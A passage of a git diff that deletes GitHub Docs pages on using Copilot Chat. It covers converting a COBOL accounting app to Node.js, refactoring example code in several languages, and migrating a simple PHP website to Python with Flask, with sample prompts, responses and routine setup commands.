END-EVALUATE - END-PERFORM - STOP RUN. - - -### Node.js Code: `main.js` -```javascript -const readline = require('readline'); - -let continueFlag = 'Y'; -let finalBalance = 1000.00; - -const rl = readline.createInterface({ - input: process.stdin, - output: process.stdout -}); - -function displayMenu() { - console.log("1. View Balance"); - console.log("2. Credit Account"); - console.log("3. Debit Account"); - console.log("4. Exit"); -} - -function handleUserChoice(choice) { - switch (choice) { - case '1': - viewBalance(); - break; - case '2': - creditAccount(); - break; - case '3': - debitAccount(); - break; - case '4': - continueFlag = 'N'; - console.log("Exiting the program. Goodbye!"); - rl.close(); - break; - default: - console.log("Invalid choice. Please try again."); - promptUser(); - break; - } -} - -function viewBalance() { - console.log(`Current balance: ${finalBalance.toFixed(2)}`); - promptUser(); -} - -function creditAccount() { - rl.question("Enter credit amount: ", (amount) => { - amount = parseFloat(amount); - if (!isNaN(amount) && amount > 0) { - finalBalance += amount; - console.log(`Amount credited. New balance: ${finalBalance.toFixed(2)}`); - } else { - console.log("Invalid amount. Please try again."); - } - promptUser(); - }); -} - -function debitAccount() { - rl.question("Enter debit amount: ", (amount) => { - amount = parseFloat(amount); - if (!isNaN(amount) && amount > 0) { - if (finalBalance >= amount) { - finalBalance -= amount; - console.log(`Amount debited. New balance: ${finalBalance.toFixed(2)}`); - } else { - console.log("Insufficient funds for this debit."); - } - } else { - console.log("Invalid amount. Please try again."); - } - promptUser(); - }); -} - -function promptUser() { - if (continueFlag === 'Y') { - displayMenu(); - rl.question("Select an option: ", handleUserChoice); - } -} - -promptUser(); - -This Node.js code replicates the functionality of the COBOL main.cob file, providing a simple command-line interface for viewing the balance, crediting the account, debiting the account, and exiting the application. -``` - -You should review the suggested code thoroughly before using it. Once you're satisfied with the generated code, follow these steps to save it locally and complete the conversion: - -1. In the temporary directory you created earlier, create a new file called `main.js`. -1. Copy the generated code from the {% data variables.product.prodname_copilot_chat_short %} panel and paste it into `main.js`. -1. Save the file. -1. Use similar prompts to convert `operations.cob` and `data.cob` to Node.js. -1. Create corresponding JavaScript files, `operations.js` and `data.js`, in the same temporary directory. -1. Copy and paste the generated code into each file, then save them. - -## Step 7: Link the files together and set up a working Node.js project - -Once you have converted all of the files to Node.js, you need to link them together and set up a working Node.js project. - -1. Navigate to the temporary directory in your terminal. -1. Run the following command to create a `package.json` file: - - ```shell copy - npm init -y - ``` - -1. If your application requires external packages, install them by running: - - ```shell copy - npm install - ``` - -1. Start the app by running: - - ```shell copy - npm start - ``` - -At this point, the Node.js application may not fully replicate the functionality of the original COBOL program. For example, balances may not update correctly, or calculations might not match the COBOL logic. - -To refine the application, you will need to: - -* **Identify incorrect behavior** by running the program and comparing it to the COBOL version. -* **Work iteratively with {% data variables.product.prodname_copilot_short %}** to adjust the logic until the Node.js program behaves as expected. -* **Use targeted prompts** to debug and improve specific parts of the code, such as: - - `@workspace - analyze main.js and ensure account balance updates correctly when crediting an account.` - -Refactoring legacy code isn’t always a one-step process—{% data variables.product.prodname_copilot_short %} can assist in debugging and improving functionality as you refine your new Node.js implementation. - -## Step 8: Generate unit and integration tests - -The next step is to generate unit and integration tests to ensure that the application works as expected. You can use `@workspace` to generate a test plan that covers all of the files in the project. - -### Example prompt 5 - -`@workspace I would like to create unit and integration tests cases from the test plan mentioned in #file:TESTPLAN.md file The node.js code is in node-accounting-app folder and I am looking to generate tests for #file:operations.js file. Use a popular testing framework and also provide all the dependencies required to run the tests.` - -### Example response 5 - -{% data variables.product.prodname_copilot_short %} generates a number of tests in Jest, a JavaScript testing framework, with a full, step-by-step guide on how to implement and run them. - -This is an excerpt from the response to the prompt above: - -`“This test plan covers the main functionalities of the COBOL application, including viewing the balance, crediting the account, debiting the account, and exiting the application. The test cases are implemented using Jest, a popular testing framework for Node.js. Validate this test plan with the business stakeholders to ensure it meets the business requirements. Once validated, you can use this plan to create corresponding unit tests and integration tests for the Node.js application.”` - -## Step 9: Run tests and refine the code - -After generating the test plan and writing the tests, you’ll need to run them and fix any failing tests. Testing is an iterative process, you may need to modify the code to resolve issues, then re-run the tests until everything passes. - -If a test fails, use {% data variables.product.prodname_copilot_short %} to help debug and refine the implementation. - -### Example prompt 6 - -`@workspace - analyze test failures in operations.test.js and suggest fixes to match the expected behavior.` - -Even if all tests pass, the program may still have issues. Automated tests don’t always catch missing functionality or logic errors, so manual testing is required to ensure the application behaves as expected. - -## Step 10: Move the JavaScript project to a new location - -Once the application is working as expected, move the new JavaScript project out of the COBOL directory to keep it separate. - -1. Navigate to the parent directory of the COBOL project. -1. Move the JavaScript project to a new location: - - ```shell copy - mv modernize-legacy-cobol-app new-js-project - ``` - -1. Navigate to the new project directory and confirm everything runs correctly: - - ```shell copy - cd new-js-project - npm start - ``` - -Now, the refactored Node.js application is in its own standalone project folder, separate from the original COBOL files. - -## Conclusion - -In this example, we looked at an account management system written in COBOL and modernized it into Node.js. We used {% data variables.product.prodname_copilot_chat_short %} to explain the code, chart out the data flow, generate a test plan, and convert the code to Node.js. By following these steps, you can modernize your legacy code and make it easier to maintain and extend. Here are some additional tips for modernizing legacy code: - -* **Prompting best practices are key**: The quality of your prompts determines the quality of {% data variables.product.prodname_copilot_short %}'s suggestions. Provide clear context, break down complex tasks into smaller steps, provide examples, and give {% data variables.product.prodname_copilot_short %} specific goals to work toward. This makes your workflow smoother and your results more precise -* **Review the code before using it**: Make sure you understand the code that {% data variables.product.prodname_copilot_short %} provides before using it in your application. This will help you catch any potential issues and ensure that the code meets your requirements. -* **Validate your changes**: After making changes to the code, it's important to validate that the application still works as expected. You can use the test plan generated by {% data variables.product.prodname_copilot_short %} to create unit and integration tests for the application. - -## Further reading - -* [AUTOTITLE](/copilot/copilot-chat-cookbook/documenting-code/documenting-legacy-code) -* [Modernizing legacy code with {% data variables.product.prodname_copilot %}: Tips and examples](https://github.blog/ai-and-ml/github-copilot/modernizing-legacy-code-with-github-copilot-tips-and-examples/) on the {% data variables.product.github %} Blog diff --git a/content/copilot/using-github-copilot/guides-on-using-github-copilot/refactoring-code-with-github-copilot.md b/content/copilot/using-github-copilot/guides-on-using-github-copilot/refactoring-code-with-github-copilot.md deleted file mode 100644 index d8613691f46d..000000000000 --- a/content/copilot/using-github-copilot/guides-on-using-github-copilot/refactoring-code-with-github-copilot.md +++ /dev/null @@ -1,356 +0,0 @@ ---- -title: Refactoring code with GitHub Copilot -intro: 'Leverage {% data variables.product.prodname_copilot_short %} artificial intelligence to help you refactor your code quickly and effectively.' -topics: - - Copilot -versions: - feature: copilot -redirect_from: - - /copilot/using-github-copilot/example-use-cases/refactoring-code-with-github-copilot -shortTitle: Refactor code ---- - -## Introduction - -Refactoring code is the process of restructuring existing code without changing its behavior. The benefits of refactoring include improving code readability, reducing complexity, making the code easier to maintain, and allowing new features to be added more easily. - -This article gives you some ideas for using {% data variables.product.prodname_copilot_short %} to refactor code in your IDE. - -> [!NOTE] Example responses are included in this article. {% data variables.product.prodname_copilot_chat %} may give you different responses from the ones shown here. - -## Understanding code - -Before you modify existing code you should make sure you understand its purpose and how it currently works. {% data variables.product.prodname_copilot_short %} can help you with this. - -1. Select the relevant code in your IDE's editor. -{% data reusables.copilot.open-inline-chat-vscode %} -1. In the input box for inline chat, type a forward slash (`/`). -1. In the dropdown list, select **/explain** and press <kbd>Enter</kbd>. -1. If the explanation that {% data variables.product.prodname_copilot_short %} returns is more than a few lines, click **View in Chat** to allow you to read the explanation more easily. - -## Optimizing inefficient code - -{% data variables.product.prodname_copilot_short %} can help you to optimize code - for example, to make the code run more quickly. - -### Example code - -In the two sections below, we'll use the following example bash script to demonstrate how to optimize inefficient code: - -```bash -#!/bin/bash - -# Find all .txt files and count lines in each -for file in $(find . -type f -name "*.txt"); do - wc -l "$file" -done -``` - -### Use the {% data variables.product.prodname_copilot_chat_short %} panel - -{% data variables.product.prodname_copilot_short %} can tell you whether code, like the example bash script, can be optimized. - -1. Select either the `for` loop or the entire contents of the file. -1. Open {% data variables.product.prodname_copilot_chat_short %} by clicking the chat icon in the activity bar or by using the keyboard shortcut: - - * **{% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %}:** <kbd>Control</kbd>+<kbd>Command</kbd>+<kbd>i</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>i</kbd> (Windows/Linux) - * **JetBrains:** <kbd>Control</kbd>+<kbd>Shift</kbd>+<kbd>c</kbd> - -1. In the input box at the bottom of the chat panel, type: `Can this script be improved?` - - {% data variables.product.prodname_copilot_short %} replies with a suggestion that will make the code more efficient. - -1. To apply the suggested change: - - * **In {% data variables.product.prodname_vscode_shortname %} and JetBrains:** Hover over the suggestion in the chat panel and click the **Insert At Cursor** icon. - - ![Screenshot of the 'Insert at cursor' icon in the {% data variables.product.prodname_copilot_chat_short %} panel.](/assets/images/help/copilot/insert-at-cursor.png) - - * **In {% data variables.product.prodname_vs %}:** Click **Preview** then, in the comparison view, click **Accept**. - -### Use {% data variables.product.prodname_copilot_short %} inline chat - -Alternatively, if you already know that existing code, like the example bash script, is inefficient: - -1. Select either the `for` loop or the entire contents of the file. -{% data reusables.copilot.open-inline-chat-vscode %} -1. Type `optimize` and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests revised code. For example: - - ```bash - find . -type f -name "*.txt" -exec wc -l {} + - ``` - - This is more efficient than the original code, shown earlier in this article, because using `-exec ... +` allows `find` to pass multiple files to `wc` at once rather than calling `wc` once for each `*.txt` file that's found. - -{% data reusables.copilot.assess-copilot-suggestion %} - -{% data reusables.copilot.check-copilot-suggestion %} - -## Cleaning up repeated code - -Avoiding repetition will make your code easier to revise and debug. For example, if the same calculation is performed more than once at different places in a file, you could move the calculation to a function. - -In the following very simple JavaScript example, the same calculation (item price multiplied by number of items sold) is performed in two places. - -```javascript -let totalSales = 0; - -let applePrice = 3; -let applesSold = 100; -totalSales += applePrice * applesSold; - -let orangePrice = 5; -let orangesSold = 50; -totalSales += orangePrice * orangesSold; - -console.log(`Total: ${totalSales}`); -``` - -You can ask {% data variables.product.prodname_copilot_short %} to move the repeated calculation into a function. - -1. Select the entire contents of the file. -{% data reusables.copilot.open-inline-chat-vscode %} -1. Type: `move repeated calculations into functions` and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests revised code. For example: - - ```javascript - function calculateSales(price, quantity) { - return price * quantity; - } - - let totalSales = 0; - - let applePrice = 3; - let applesSold = 100; - totalSales += calculateSales(applePrice, applesSold); - - let orangePrice = 5; - let orangesSold = 50; - totalSales += calculateSales(orangePrice, orangesSold); - - console.log(`Total: ${totalSales}`); - ``` - -{% data reusables.copilot.assess-copilot-suggestion %} - -{% data reusables.copilot.check-copilot-suggestion %} - -## Making code more concise - -If code is unnecessarily verbose it can be difficult to read and maintain. {% data variables.product.prodname_copilot_short %} can suggest a more concise version of selected code. - -In the following example, this Python code outputs the area of a rectangle and a circle, but could be written more concisely: - -```python -def calculate_area_of_rectangle(length, width): - area = length * width - return area - -def calculate_area_of_circle(radius): - import math - area = math.pi * (radius ** 2) - return area - -length_of_rectangle = 10 -width_of_rectangle = 5 -area_of_rectangle = calculate_area_of_rectangle(length_of_rectangle, width_of_rectangle) -print(f"Area of rectangle: {area_of_rectangle}") - -radius_of_circle = 7 -area_of_circle = calculate_area_of_circle(radius_of_circle) -print(f"Area of circle: {area_of_circle}") -``` - -1. Select the entire contents of the file. -{% data reusables.copilot.open-inline-chat-vscode %} -1. Type: `make this more concise` and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests revised code. For example: - - ```python - import math - - def calculate_area_of_rectangle(length, width): - return length * width - - def calculate_area_of_circle(radius): - return math.pi * (radius ** 2) - - print(f"Area of rectangle: {calculate_area_of_rectangle(10, 5)}") - print(f"Area of circle: {calculate_area_of_circle(7)}") - ``` - -{% data reusables.copilot.assess-copilot-suggestion %} - -{% data reusables.copilot.check-copilot-suggestion %} - -## Splitting up complex units of code - -Large methods or functions that perform multiple operations are likely to offer fewer opportunities for reuse than smaller, simpler functions that are focused on performing a particular operation. They may also be more difficult to understand and debug. - -{% data variables.product.prodname_copilot_short %} can help you to split up complex blocks of code into smaller units that are more suitable for reuse. - -The following Python code is a very simple example, but it shows the principle of splitting up a single function into two functions that perform particular operations. - -```python -import pandas as pd -from pandas.io.formats.style import Styler - -def process_data(item, price): - # Cleanse data - item = item.strip() # Strip whitespace from item - price = price.strip() # Strip whitespace from price - price = float(price) # Convert price to a float - # More cleansing operations here - - # Create and print a DataFrame - data = {'Item': [item], 'Price': [price]} - df = pd.DataFrame(data) - print(df.to_string(index=False)) - -# Example usage -item = " Apple " -price = " 1.25" -process_data(item, price) -``` - -To split up the `process_data` function: - -1. Put the cursor in the function name. -{% data reusables.copilot.open-inline-chat-vscode %} -1. Type: `split into 2 separate functions: one for cleansing data, the other for printing` and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests revised code. For example: - - ```python - def cleanse_data(item, price): - # Cleanse data - item = item.strip() # Strip whitespace from item - price = price.strip() # Strip whitespace from price - price = float(price) # Convert price to a float - return item, price - - def print_data(item, price): - # Create and print a DataFrame - data = {'Item': [item], 'Price': [price]} - df = pd.DataFrame(data) - print(df.to_string(index=False)) - - def process_data(item, price): - item, price = cleanse_data(item, price) - print_data(item, price) - ``` - - > [!NOTE] The example suggestion shown above replaces the existing function with three functions. The third function simply calls the other two functions, and allows for existing code that calls the `process_data` function. - -{% data reusables.copilot.assess-copilot-suggestion %} - -{% data reusables.copilot.check-copilot-suggestion %} - -## Rewrite conditional code for better readability - -There are often several ways to write code that does, or does not, get executed depending on various conditions. Some conditional structures are better suited than others to particular use cases, and choosing an alternative conditional structure can sometimes make the code easier to read. - -This Java method uses a series of `if` and `else if` statements to determine which operation to perform: - -```java -public String getSound(String animal) { - if (animal == null) { - System.out.println("Oops! A null animal?"); - } else if (animal.equalsIgnoreCase("Dog")) { - return "Bark"; - } else if ( animal.equalsIgnoreCase("Cat")) { - return "Meow"; - } else if ( animal.equalsIgnoreCase("Bird")) { - return "Tweet"; - } - return "Unknown"; -} -``` - -A `switch` statement might be a better way of applying the same logic. - -1. Put the cursor in the method name. -{% data reusables.copilot.open-inline-chat-vscode %} -1. Type: `rewrite the condition to use a switch and use Java 21 syntax with null case, but also add documentation and provide a better function name`. - - This demonstrates how you can use a single prompt to ask {% data variables.product.prodname_copilot_short %} to make multiple changes. - -1. Press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests revised code. For example: - - ```java - /** - * Retrieves the sound made by a given animal. - * - * @param animal The name of the animal. - * @return The sound made by the animal, or "Unknown" if the animal is not recognized. - */ - public String getAnimalSound(String animal) { - return switch (animal) { - case null -> { - System.out.println("Oops! A null animal?"); - yield "Unknown"; - } - case String a when a.equalsIgnoreCase("Dog") -> "Bark"; - case String a when a.equalsIgnoreCase("Cat") -> "Meow"; - case String a when a.equalsIgnoreCase("Bird") -> "Tweet"; - default -> "Unknown"; - }; - } - ``` - -{% data reusables.copilot.assess-copilot-suggestion %} - -{% data reusables.copilot.check-copilot-suggestion %} - -## Reformat code to use a different structure - -Suppose you have this function in JavaScript: - -```javascript -function listRepos(o, p) { - return fetch(`https://api.github.com/orgs/${o}/repos?per_page=${parseInt(p)}`) - .then((response) => response.json()) - .then( (data) => data); -} -``` - -If your coding standards require you to use the arrow notation for functions, and descriptive names for parameters, you can use {% data variables.product.prodname_copilot_short %} to help you make these changes. - -1. Put the cursor in the function name. -{% data reusables.copilot.open-inline-chat-vscode %} -1. Type: `use arrow notation and better parameter names` and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests revised code. For example: - - ```javascript - const listRepos = (org, perPage) => { - return fetch(`https://api.github.com/orgs/${org}/repos?per_page=${parseInt(perPage)}`) - .then(response => response.json()) - .then(data => data); - }; - ``` - -## Improving the name of a symbol - -> [!NOTE] -> * {% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %} only. -> * Support for this feature depends on having the appropriate language extension installed in your IDE for the language you are using. Not all language extensions support this feature. - -Well chosen names can help to make code easier to maintain. {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %} can suggest alternative names for symbols such as variables or functions. - -1. Put the cursor in the symbol name. -1. Press <kbd>F2</kbd>. -1. **{% data variables.product.prodname_vs %} only:** Press <kbd>Ctrl</kbd>+<kbd>Space</kbd>. - - {% data variables.product.prodname_copilot_short %} suggests alternative names. - - ![Screenshot of a dropdown list in {% data variables.product.prodname_vscode_shortname %} giving alternatives for a symbol name.](/assets/images/help/copilot/rename-symbol.png) - -1. In the dropdown list, select one of the suggested names. - - The name is changed throughout the project. diff --git a/content/copilot/using-github-copilot/guides-on-using-github-copilot/using-copilot-to-migrate-a-project.md b/content/copilot/using-github-copilot/guides-on-using-github-copilot/using-copilot-to-migrate-a-project.md deleted file mode 100644 index 47bf5a77dd6d..000000000000 --- a/content/copilot/using-github-copilot/guides-on-using-github-copilot/using-copilot-to-migrate-a-project.md +++ /dev/null @@ -1,507 +0,0 @@ ---- -title: Using Copilot to migrate a project to another programming language -allowTitleToDifferFromFilename: true -intro: '{% data variables.product.prodname_copilot_chat %} can help you move a project to a different language. This guide describes what''s involved in a migration process and gives an example of a PHP to Python migration.' -topics: - - Copilot -versions: - feature: copilot -shortTitle: Migrate a project ---- - -## Introduction - -Migrating a project to a new programming language can be a difficult and time-consuming task. {% data variables.product.prodname_copilot %} can help you with this process by explaining the changes you need to make and suggesting replacement code in the new language. - -## Principles of migrating a project to a new language - -Consider the points before you start a migration process: - -* **Coding knowledge** - - Make sure you have a good understanding of both programming languages. Although {% data variables.product.prodname_copilot_short %} can translate code for you, you need to understand the choices it proposes and decide whether you want to use its suggestions or ask for an alternative suggestion. - -* **Knowledge of the system you are migrating** - - Make sure you understand the architecture and logic of the current system, in addition to the functionality and features it provides to users. You must be able to check that the translated code performs all of the same operations as the original code and produces the same results. - -* **Use AI to help you** - - If you don't understand a particular part of the code you are about to translate, use {% data variables.product.prodname_copilot_short %}'s "explain" feature, either on the whole file, or a selected portion of the code within a file. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). - -* **Schedule time to complete the migration** - - Conversion is a multi-stage process. The larger the project you are converting the greater the number of steps you will need to take. Make sure you allow plenty of time to complete the entire process. - -* **Work iteratively** - - Aim to convert discreet parts of your project separately. Make sure you have verified all of the changes you've made before moving on to another part of the project. Write tests for the individual parts of the project as you proceed so that you can confirm that each of the new components works as expected. - -* **Avoid introducing complexity to the process** - - Initially you should aim to do a like-for-like conversion. This won't be possible for all of the code in your project. However, to avoid adding complexity to the migration task, you should try to limit the number of new changes you introduce, other than translating the code and using a new framework and the appropriate dependencies. - -* **Benchmark and refactor the translated code** - - After you've completed the initial conversion, and you have a working system, you can perform benchmarking to compare the old and new systems. You can now refactor the code in the new language. This is an opportunity to optimize the code and reduce technical debt. - -## Using {% data variables.product.prodname_copilot_short %} to help you migrate a project to a new language - -Assuming you've already familiarized yourself with the existing project, a good way to start a migration is to open a branch of the repository in your editor and ask {% data variables.product.prodname_copilot_short %} for help. - -1. In your editor, open the {% data variables.product.prodname_copilot_chat_short %} panel. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). -1. Ask {% data variables.product.prodname_copilot_short %} to outline the steps you need to take to migrate the project to the new language. - - For example, for a migration from PHP to Python, you could ask: - - `@workspace I want to migrate this project from PHP to Python. Give me a high level overview of the steps I need to take. Don't go into detail at this stage.` - - > [!NOTE] - > The `@workspace` chat participant sets the files in the current workspace as the context for the question you ask. - - {% data variables.product.prodname_copilot_short %} will typically come back with a list of steps that you need to take to migrate the project. - -1. Copy {% data variables.product.prodname_copilot_short %}'s response and save this somewhere to refer to throughout the process. -1. Work through each step of the process, asking for detailed help from {% data variables.product.prodname_copilot_short %} as you need it. - - Consider each suggestion from {% data variables.product.prodname_copilot_short %} carefully. Make sure you understand the code that it is suggesting and assess whether it's appropriate for your project. If you are not sure, ask {% data variables.product.prodname_copilot_short %} to explain the code to you. - - If you think a change suggested by {% data variables.product.prodname_copilot_short %} is not right in some way, ask for an alternative suggestion. - -1. As soon as you've migrated a component to a state that you can run, check that it works as expected. If it generates an error, copy the error into the {% data variables.product.prodname_copilot_chat_short %} view, and ask {% data variables.product.prodname_copilot_short %} to help you fix it. -1. After you've completed the initial conversion, use {% data variables.product.prodname_copilot_short %} to help you refactor the code in the new language. For more information, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/refactoring-code-with-github-copilot). - -## Example: migrating a PHP project to Python - -The following example describes the migration of a simple web application from PHP to Python. Even if these are not the programming languages you are using for your migration, you may find it helpful to follow along with the steps described here to familiarize yourself with a project migration. The steps will be similar for migrating other small projects from one language to another. - -![Screenshot of the 'Simple PHP Website' prior to migration from PHP to Python.](/assets/images/help/copilot/migration-original-website.png) - -This example assumes: -* You are working in {% data variables.product.prodname_vscode %}. -* You have both languages installed: PHP and Python version 3.12 or later. - -### Migrating a simple website project - -We are going to migrate the code in this public repository on {% data variables.product.github %}: [docs/simple-php-website](https://github.com/docs/simple-php-website). - -The repository consists of the following files. - -```text -.gitignore -.htaccess -LICENSE -content -├── 404.phtml -├── about-us.phtml -├── contact.phtml -├── home.phtml -└── products.phtml -includes -├── config.php -└── functions.php -index.php -readme.md -template -├── style.css -└── template.php -``` - -This example gives the prompts you can enter into {% data variables.product.prodname_copilot_chat_short %} to complete the migration, and the responses {% data variables.product.prodname_copilot_short %} returned for one instance of this migration. The default GPT 4o model was used to generate these responses. {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you will probably get slightly different responses to the ones shown here. - -During a migration process you are likely to get errors that you need to fix before moving ahead. {% data variables.product.prodname_copilot_short %} can help you with this. The example includes some errors and shows how you can get {% data variables.product.prodname_copilot_short %} to help you fix them. - -Because the responses you'll get from {% data variables.product.prodname_copilot_chat_short %} are likely to be different to those shown here, you may encounter different errors. You may, therefore, find it easier to step through this example migration using the responses shown here, rather than those you get from {% data variables.product.prodname_copilot_short %} yourself. - -After completing this example migration you can then use the same methodology on your own project. - -1. Start by cloning a copy of the repository to your local machine. -1. Run the application to check it works. - - To do this, in a terminal, navigate to the root of the cloned repository and run the following command: - - ```shell copy - php -S localhost:8000 - ``` - - Then in a browser, go to: http://localhost:8000. -1. Click around the website, to get to know it, so that you'll be able to verify that the migration has been successful. -1. Create a working branch in your repository and open it as a new workspace in {% data variables.product.prodname_vscode %}. -1. Familiarize yourself with the contents and architecture of the existing project. {% data variables.product.prodname_copilot_short %} can help you with this: - - 1. Open the {% data variables.product.prodname_copilot_chat_short %} view. - 1. Enter a prompt such as: - - `@workspace Describe this project in detail, explaining what the various components do and how they interact.` - -1. Ask {% data variables.product.prodname_copilot_short %} for a high-level overview of the migration process: - - `@workspace I want to migrate this project from PHP to Python. Give me a high level overview of the steps I need to take. Don't go into detail at this stage.` - - {% data variables.product.prodname_copilot_short %} will reply with instructions such as: - - ```text - To migrate this project from PHP to Python, follow these high-level steps: - - 1. Set Up Python Environment: - - Install Python and set up a virtual environment. - - Install necessary packages (e.g., Flask for web framework). - - 2. Convert Configuration: - - Translate the configuration settings from config.php to a Python configuration file. - - 3. Rewrite Functions: - - Convert PHP functions in functions.php to Python functions. - - 4. Create Flask Application: - - Set up a Flask application to handle routing and views. - - Map the routes to corresponding views. - - 5. Convert Templates: - - Translate template.php to a Jinja2 template. - - Update the CSS file path in the template. - - 6. Convert Content Pages: - - Convert .phtml content files to HTML or Jinja2 templates. - - 7. Update .htaccess Rules: - - Translate .htaccess rewrite rules to Flask route handling. - - 8. Run and Test: - - Run the Flask application and test all routes and functionalities. - - Ensure the site works as expected and fix any issues. - - 9. Documentation: - - Update the readme.md with new instructions for running the Python project. - ``` - -1. Copy {% data variables.product.prodname_copilot_short %}'s response and save this somewhere to refer to throughout the remainder of this process. You'll work through each of these steps, asking {% data variables.product.prodname_copilot_short %} for help as you proceed. - -1. If you haven't already decided which Python framework you want to use, you can ask {% data variables.product.prodname_copilot_short %} for advice: - - `@workspace What Python frameworks can I use for this project once it is migrated to Python? Give me a selection of options, with a brief summary of the pros and cons of each in relation to this website project. Which framework would you recommend?` - - {% data variables.product.prodname_copilot_short %} replies with information about various frameworks, and concludes: - - ```text - For a project like yours - which is a simple, content-driven website - Flask is highly recommended. Its simplicity, flexibility, and ease of use (especially with its templating system that can easily replace your current PHP template structure) make it a great fit. - ``` - - We'll take {% data variables.product.prodname_copilot_short %}'s advice and use Flask. - -1. Returning to {% data variables.product.prodname_copilot_short %}'s high-level overview, the first step is to set up a Python environment and install the necessary packages. To find out how to do this, in {% data variables.product.prodname_copilot_chat_short %}, enter: - - `@workspace I want to use Flask. Tell me how to set up a virtual environment and install the necessary packages.` - - {% data variables.product.prodname_copilot_short %} will reply with instructions such as: - - ```text - 1. Create a virtual environment: - - Open a terminal and navigate to your project directory. - - Run the following command to create a virtual environment: - python3 -m venv venv - - 2. Activate the virtual environment: - - On macOS and Linux: - source venv/bin/activate - - - On Windows: - venv\Scripts\activate - - 3. Install Flask and necessary packages: - - With the virtual environment activated, run the following command - to install Flask and other necessary packages: - pip install Flask - - 4. Verify the installation: - - You can verify that Flask is installed by running: - pip list - ``` - -1. Follow {% data variables.product.prodname_copilot_short %}'s instructions and use `pip list` to verify that Flask is installed. -1. Returning to {% data variables.product.prodname_copilot_short %}'s overview for the migration process, the next step is to convert the configuration. Ask {% data variables.product.prodname_copilot_short %} for help with this. For example: - - `@workspace As the first step in migrating this project from PHP to Python, create a Python configuration file by converting the functions in functions.php to Python functions. Tell me where to locate the Python config file in the project.` - - {% data variables.product.prodname_copilot_short %} suggests that you create a file called `config.py` in the `includes` directory, containing the following code. - - ```python copy - config = { - 'name': 'Simple Python Website', - 'site_url': '', - 'pretty_uri': False, - 'nav_menu': { - '': 'Home', - 'about-us': 'About Us', - 'products': 'Products', - 'contact': 'Contact', - }, - 'template_path': 'template', - 'content_path': 'content', - 'version': 'v3.1', - } - - def get_config(key=''): - return config.get(key, None) - - def site_name(): - return get_config('name') - - def site_url(): - return get_config('site_url') - - def site_version(): - return get_config('version') - - def nav_menu(sep=' | '): - nav_menu = '' - nav_items = get_config('nav_menu') - - for uri, name in nav_items.items(): - query_string = request.args.get('page', '') - class_active = ' active' if query_string == uri else '' - url = f"{get_config('site_url')}/{'' if get_config('pretty_uri') or uri == '' else '?page='}{uri}" - - nav_menu += f'<a href="{url}" title="{name}" class="item{class_active}">{name}</a>{sep}' - - return nav_menu.strip(sep) - - def page_title(): - page = request.args.get('page', 'Home') - return ' '.join(word.capitalize() for word in page.split('-')) - - def page_content(): - page = request.args.get('page', 'home') - path = os.path.join(os.getcwd(), get_config('content_path'), f'{page}.phtml') - - if not os.path.exists(path): - path = os.path.join(os.getcwd(), get_config('content_path'), '404.phtml') - - with open(path, 'r') as file: - return file.read() - - def init(): - template_path = os.path.join(get_config('template_path'), 'template.html') - with open(template_path, 'r') as file: - return file.read() - ``` - -1. Create the `includes/config.py` file and delete the existing `includes/config.php` file. -1. Returning to the overview again, ask {% data variables.product.prodname_copilot_short %} to help you rewrite the PHP functions. - - `@workspace Continuing the migration of this project from PHP to Python, create Python functions to replace the existing PHP functions. Tell me where to locate the Python functions in the project.` - - {% data variables.product.prodname_copilot_short %} suggests you create a file called `functions.py` in the `includes` directory, containing the following code. - - ```python copy - import os - from flask import request - from .config import get_config - - def site_name(): - return get_config('name') - - def site_url(): - return get_config('site_url') - - def site_version(): - return get_config('version') - - def nav_menu(sep=' | '): - nav_menu = '' - nav_items = get_config('nav_menu') - - for uri, name in nav_items.items(): - query_string = request.args.get('page', '') - class_active = ' active' if query_string == uri else '' - url = f"{get_config('site_url')}/{'' if get_config('pretty_uri') or uri == '' else '?page='}{uri}" - - nav_menu += f'<a href="{url}" title="{name}" class="item{class_active}">{name}</a>{sep}' - - return nav_menu.strip(sep) - - def page_title(): - page = request.args.get('page', 'Home') - return ' '.join(word.capitalize() for word in page.split('-')) - - def page_content(): - page = request.args.get('page', 'home') - path = os.path.join(os.getcwd(), get_config('content_path'), f'{page}.phtml') - - if not os.path.exists(path): - path = os.path.join(os.getcwd(), get_config('content_path'), '404.phtml') - - with open(path, 'r') as file: - return file.read() - - def init(): - template_path = os.path.join(get_config('template_path'), 'template.html') - with open(template_path, 'r') as file: - return file.read() - ``` - -1. Create the `includes/functions.py` file and delete the existing `includes/functions.php` file. -1. Continuing with the overview, the next step is to create a Flask application. Ask {% data variables.product.prodname_copilot_short %} to help you with this: - - `@workspace Set up a Flask application to handle routing and views, and map the routes to corresponding views. Tell me the location of any files that need to be created or changed.` - - {% data variables.product.prodname_copilot_short %} suggests you create a file called `app.py` in the root of the project, containing the following code. - - ```python copy - from flask import Flask, render_template, request - import os - - app = Flask(__name__) - - config = { - 'name': 'Simple Python Website', - 'site_url': '', - 'pretty_uri': False, - 'nav_menu': { - '': 'Home', - 'about-us': 'About Us', - 'products': 'Products', - 'contact': 'Contact', - }, - 'template_path': 'template', - 'content_path': 'content', - 'version': 'v3.1', - } - - def get_config(key=''): - return config.get(key, None) - - @app.route('/') - @app.route('/<page>') - def index(page='home'): - page_content = get_page_content(page) - page_title = get_page_title(page) - nav_menu = get_nav_menu() - return render_template('template.html', page_title=page_title, page_content=page_content, nav_menu=nav_menu) - - def get_page_title(page): - return ' '.join(word.capitalize() for word in page.split('-')) - - def get_page_content(page): - path = os.path.join(os.getcwd(), get_config('content_path'), f'{page}.phtml') - if not os.path.exists(path): - path = os.path.join(os.getcwd(), get_config('content_path'), '404.phtml') - with open(path, 'r') as file: - return file.read() - - def get_nav_menu(sep=' | '): - 